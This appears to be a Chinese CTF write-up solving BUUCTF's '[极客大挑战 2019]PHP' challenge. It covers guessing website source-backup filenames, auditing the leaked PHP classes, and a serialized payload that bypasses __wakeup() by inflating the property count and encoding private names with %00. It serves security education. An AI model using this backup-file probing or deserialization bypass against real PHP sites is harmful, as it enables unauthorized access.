当前位置: 首页 > article >正文

2025.2.11——一、[极客大挑战 2019]PHP wakeup绕过|备份文件|代码审计

题目来源:BUUCTF  [极客大挑战 2019]PHP

目录

一、打开靶机,整理信息

二、解题思路

step 1:目录扫描、爆破

step 2:代码审计

1.index.php

2.class.php

3.flag.php

step 3:绕过__wakeup重置

​编辑

三、小结


一、打开靶机,整理信息

        根据题目名称php,以及页面的备份网站的提示,这里应该有下载备份文件,里面应该有php文件要进行代码审计

二、解题思路

step 1:目录扫描、爆破

目录扫描文件太多了,找不到有用信息,可以尝试输入网站源码备份文件,看看能不能碰对

常见的网站源码备份文件后缀:

tar、tgz、zip、rar、bak、7z

常见的网站源码备份文件名:

web、website、backup、back、www、wwwroot、temp

爆破一下

        url传参看看,得到一个压缩文件夹,点进去得到一堆源码文件

        整理一下进行代码审计

step 2:代码审计

1.index.php

index.php主要是设计,有用信息已经摘抄了

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

        文件包含class.php文件,并且是GET传参,参数为select,然后将其进行反序列化

2.class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{

    //设置两个私有变量
    private $username = 'nonono';
    private $password = 'yesyes';

    //利用__construct构造函数,在创建对象时初始化$username和$password属性
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    //当对象被反序列化时,__wakeup方法会被自动调用,将$username重置为guest
    function __wakeup(){
        $this->username = 'guest';
    }

    //当对象被销毁时,__destruct方法会被自动调用
    function __destruct(){
        if ($this->password != 100) {  //检查password是否等于100
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {  //如果password等于100,则进一步检查username是否等于admin,等于则输出flag
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

代码总结:要想输出flag信息,就要绕过__wakeup重置,并且password要等于100,username要等于admin

3.flag.php

<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>

        什么也不是

step 3:绕过__wakeup重置

        根据上面代码审计结果,用脚本得到payload,脚本来源:[极客大挑战 2019]PHP 1_php 在线挑战-CSDN博客

<?php
class Name{
    private $username = 'admin';
    private $password = '100';
}
$select = new Name();
$res=serialize(@$select);
echo $res
?>

序列化结果有未显示字符,另外绕过wakeup方法要让成员属性数目大于实际数目

当成员属性数目大于实际数目时可绕过wakeup方法

        所以要将序列化结果中的2改为3,将未显示字符变为%00,再传参

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

        得到flag

三、小结

1.常见的网站源码备份文件后缀:

tar、tgz、zip、rar、bak、7z

常见的网站源码备份文件名:

web、website、backup、back、www、wwwroot、temp

2.当成员属性数目大于实际数目时可绕过wakeup方法


http://www.kler.cn/a/542652.html

相关文章:

  • 在Uniapp中使用阿里云OSS插件实现文件上传
  • 可编程网卡芯片在京东云网络的应用实践【BGW边界网关篇】
  • 力扣算法题:反转字符串中的元音字母
  • HalconDotNet 基础操作
  • STM32自学记录(十)
  • 【愚公系列】《循序渐进Vue.js 3.x前端开发实践》070-商业项目:电商后台管理系统实战(商品管理模块的开发)
  • 前端设计模式介绍及案例(单例模式、代理模式、工厂模式、装饰者模式、观察者模式)
  • SpringBoot 统一功能处理之拦截器、数据返回格式、异常处理
  • clone gerrit repos 到windows本地
  • 算法设计-归并排序(C++)
  • Elasticsearch:如何使用 Elastic 检测恶意浏览器扩展
  • 基于GA遗传优化的电动汽车光储充电站容量配置算法matlab仿真
  • STL(八)—— stack和queue的模拟
  • DeepAR:一种用于时间序列预测的深度学习模型
  • 大语言模型安全威胁深度解析:攻击手法与实战案例
  • STM32自学记录(十)
  • 数据结构:排序—归并排序(四 )
  • 矩阵 NFC 碰一碰发视频源码搭建技术解析,支持OEM
  • STM32 HAL库 PWM程序(C语言)
  • 【02】RUST项目(Cargo)
  • 第六篇:数字逻辑的“矩阵革命”——域控制器中的组合电路设计
  • 如何将网站提交百度收录完整SEO教程
  • Ubuntu 安装 NVIDIA 驱动实操指南(含卸载)
  • 【pytest】获取所有用例名称并存于数据库
  • python tkinter实现deepseek的连接访问
  • 新一代高性能无线传输模块M-GATEWAY3